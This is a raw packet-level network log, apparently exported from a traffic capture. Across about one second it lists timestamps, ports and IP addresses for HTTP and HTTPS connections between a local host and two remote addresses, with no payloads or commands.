Dec 17, 2024 22:06:26.775787115 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.775801897 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.775832891 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.775863886 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.776608944 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.776660919 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.776706934 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.777453899 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.777648926 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.777692080 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.778280973 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.778407097 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.778449059 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.778769970 CET	443	49800	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:26.778817892 CET	49800	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:26.778824091 CET	443	49800	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:26.779130936 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.779203892 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.779241085 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.779968023 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.780062914 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.780107021 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.780826092 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.780865908 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.780890942 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.781291008 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.781866074 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.781904936 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.781924963 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.781969070 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.782504082 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.782614946 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.782665014 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.783373117 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.783538103 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.783595085 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.784203053 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.784490108 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.784544945 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.785100937 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.785116911 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.785161972 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.785917044 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.785948992 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.785968065 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.786003113 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.786760092 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.786856890 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.786911964 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.787369013 CET	443	49800	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:26.787559986 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.787648916 CET	49800	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:26.787657976 CET	443	49800	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:26.787687063 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.787697077 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.787735939 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.788450003 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.788520098 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.788578033 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.789268970 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.789377928 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.789436102 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.790103912 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.790194988 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.790250063 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.791027069 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.791079044 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.791086912 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.791821003 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.791876078 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.791922092 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.792675972 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.792694092 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.792732954 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.792756081 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.793529034 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.793596983 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.793653965 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.794334888 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.794482946 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.794538975 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.795186996 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.795296907 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.795347929 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.796014071 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.796073914 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.796123981 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.796850920 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.796996117 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.797008991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.797239065 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.797725916 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.797741890 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.797785997 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.798557997 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.798640966 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.798687935 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.799375057 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.799416065 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.799496889 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.800211906 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.800254107 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.800319910 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.800977945 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.801172972 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.801240921 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.801280022 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.801884890 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.801984072 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.802027941 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.802854061 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.802980900 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.803034067 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.803636074 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.803666115 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.803719997 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.804532051 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.804560900 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.804594040 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.804636955 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.805311918 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.805366039 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.805419922 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.806214094 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.806262970 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.806307077 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.807159901 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.807219982 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.807329893 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.809146881 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.828507900 CET	49800	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:26.889240026 CET	443	49800	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:26.937944889 CET	49800	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:26.937974930 CET	443	49800	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:26.956325054 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.956500053 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.956605911 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.956772089 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.956891060 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.956947088 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.957688093 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.957787991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.957838058 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.958395004 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.958436966 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.958677053 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.958848953 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.958892107 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.959547043 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.959676981 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.959727049 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.960367918 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.960479975 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.960587025 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.961213112 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.961253881 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.961286068 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.961394072 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.962251902 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.962268114 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.962312937 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.962354898 CET	443	49800	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:26.962989092 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.963037014 CET	49800	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:26.963063955 CET	443	49800	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:26.963093042 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.963094950 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.963140011 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.963828087 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.963872910 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.963912010 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.964582920 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.964628935 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.964693069 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.965167999 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.965466976 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.965495110 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.965533018 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.966079950 CET	443	49800	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:26.966238976 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.966285944 CET	49800	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:26.966293097 CET	443	49800	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:26.966311932 CET	443	49800	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:26.966320992 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.966346979 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.966392040 CET	49800	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:26.967132092 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.967145920 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.967158079 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.967181921 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.967979908 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.968005896 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.968053102 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.968808889 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.968935966 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.968980074 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.969100952 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.969675064 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.969820976 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.969860077 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.970563889 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.970648050 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.970689058 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.971360922 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.971400023 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.971589088 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.972187996 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.972206116 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.972233057 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.972268105 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.973031998 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.973095894 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.973098993 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.973875046 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.973916054 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.973987103 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.974694014 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.974735022 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.974776983 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.974814892 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.975646019 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.975706100 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.975747108 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.976540089 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.976557016 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.976604939 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.977248907 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.977304935 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.977341890 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.978096008 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.978157043 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.978203058 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.979016066 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.979057074 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.979089022 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.979814053 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.979856014 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.979860067 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.980586052 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.980628014 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.980663061 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.980700970 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.981451988 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.981492043 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.981533051 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.982287884 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.982359886 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.982403040 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.983191013 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.983232975 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.983283997 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.984020948 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.984064102 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.984090090 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.984834909 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.984880924 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.984941006 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.984983921 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.985646963 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.985728979 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.985780954 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.986536980 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.986685991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.986727953 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.987348080 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.987390995 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.987448931 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.988190889 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.988230944 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.988270044 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.988812923 CET	49800	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:26.988831997 CET	443	49800	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:26.988833904 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.988842964 CET	49800	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:26.988850117 CET	443	49800	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:26.989047050 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.989145994 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.989187002 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.989871025 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.989983082 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.990024090 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.990715027 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.990751028 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.990812063 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.991622925 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.991664886 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.991733074 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.992428064 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.992469072 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.992556095 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.992594004 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.993323088 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.993369102 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.993415117 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.994086981 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.994194984 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.994235039 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.995024920 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.995197058 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.995239973 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.995856047 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.995894909 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.995951891 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.996629953 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.996666908 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.996763945 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.997124910 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.997492075 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.997638941 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.997685909 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.998307943 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.998385906 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.998428106 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.999202013 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.999243975 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.999275923 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.000010967 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.000056028 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.000092983 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.001375914 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.177483082 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.177587986 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.177603006 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.177629948 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.177733898 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.177792072 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.177875996 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.178441048 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.178484917 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.178514004 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.178560972 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.179263115 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.179311037 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.179342985 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.179361105 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.179702997 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.179749966 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.179863930 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.179972887 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.180726051 CET	80	49793	31.41.244.11	192.168.2.4
